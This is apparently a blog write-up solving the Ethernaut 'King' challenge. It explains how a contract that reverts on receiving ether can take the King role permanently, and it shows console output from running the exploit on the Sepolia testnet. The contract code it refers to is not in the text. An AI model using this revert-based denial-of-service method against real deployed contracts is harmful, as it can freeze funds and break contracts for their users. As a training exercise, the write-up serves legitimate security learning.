Ethernaut King

Breaking the Game

This next challenge intends to simulate a game. It keeps track of a King and a Prize, where for each ether transfer made to the contract, if the transfer is bigger than the prize, the sender will be promoted to King.

The purpose is to find a way to break it, by becoming promoted to King forever, where no one could overthrow us.

Refer below for the challenge code:

A Quick Recap

In Ethereum there are two kind of addresses, an Externally Owned Accounts (EOAs) or Contract Addresses.

When an EOA receives money, the ledger is then updated with the new balance of the account, and that is the most of what we can expect from EOAs: to send and receive ether or to trigger contract’s functions. However, Contract Addresses contain bytecode that can be run when a transaction is received (we have seen examples on earlier posts with the use of the fallback() and receive() functions).

Exploitation Steps

In essence what we need to do is to trigger a Denial of Service on the King contract, so that when we are promoted to King no one can overthrown us.

We need to hijack the execution flow on line 18 of the King contract above, so that when it tries to transfer the money to the current King, it somehow reverts, breaking the execution flow completely. To achieve this outcome, we can leverage a Contract Address. When it receives money, it will revert the whole transaction, making that malicious contract forever the new King!

Refer below for the MaliciousKing contract:

The above code, shows two important function, one is the overthrowKing() responsible for overthrowing the current king. This function will relay any ether sent to it to the King contract and as long as it is bigger than the King’s prize, it will promote the MaliciousKing contract as the new King.

Secondly, we have a simple receive() function, that will be triggered on any raw ether transaction and fully revert it. This is the function that will create a Denial of Service on the King contract, making it impossible for anyone to overthrow the MaliciousKing.

Running the Exploit

Our exploit will run the following steps:

  • Deploy the MaliciousKing contract;
  • Check current King’s prize;
  • Duplicate the prize send it with a call to MaliciousKing overthrowKing() function;
  • Check the new prize is set to double on King’s contract;
  • Confirm the DoS by sending a new prize to King’s and having the transaction reverted;
root@Web3 ❯ brownie run --network sepolia -i pwn.py
Brownie v1.19.3 - Python development framework for Ethereum
EthernautkingProject is the active project.
Running 'scripts/pwn.py::main'...
Transaction sent: 0x60cb507176fbfb77482919045fd35f0260e33c2e25448efa70695b16aadc473e
Gas price: 1.25e-06 gwei Gas limit: 151152 Nonce: 29
Malicious.constructor confirmed Block: 4229954 Gas used: 137411 (90.91%)
Malicious deployed at: 0x80f0FD79DABC5376Fc14EF1407fb3F97Efc53A5A
[+] Deployed Malicious Contract @ 0x80f0FD79DABC5376Fc14EF1407fb3F97Efc53A5A
[+] Current prize is @ 1000000000000000
[+] Overthrowing King by sending 2e+16 wei...
Transaction sent: 0xd389763514208aebfd7c0255bf4cd7e6516cc138e9c68134e736d90c4a72c62d
Gas price: 1.25e-06 gwei Gas limit: 56097 Nonce: 30
Malicious.overthrowKing confirmed Block: 4229955 Gas used: 50807 (90.57%)
[+] King Prize: 20000000000000000
[+] Confirming DoS by sending 3e+16 wei....
File "brownie/_cli/run.py", line 51, in main
return_value, frame = run(
File "brownie/project/scripts.py", line 110, in run
return_value = f_locals[method_name](*args, **kwargs)
File "./scripts/pwn.py", line 29, in main
hacker.transfer(king.address, 3e16)
File "brownie/network/account.py", line 644, in transfer
receipt, exc = self._make_transaction(
File "brownie/network/account.py", line 727, in _make_transaction
raise VirtualMachineError(e) from None
File "brownie/exceptions.py", line 93, in __init__
raise ValueError(str(exc)) from None
ValueError: Gas estimation failed: 'execution reverted: I am The King!'. This transaction will likely revert. If you wish to broadcast, you must set the gas limit manually.
Interactive mode enabled. Use quit() to close.

Refer to the following code for the full exploit:

References

Big props to @the_ethernaut for creating the content.

Share: Twitter LinkedIn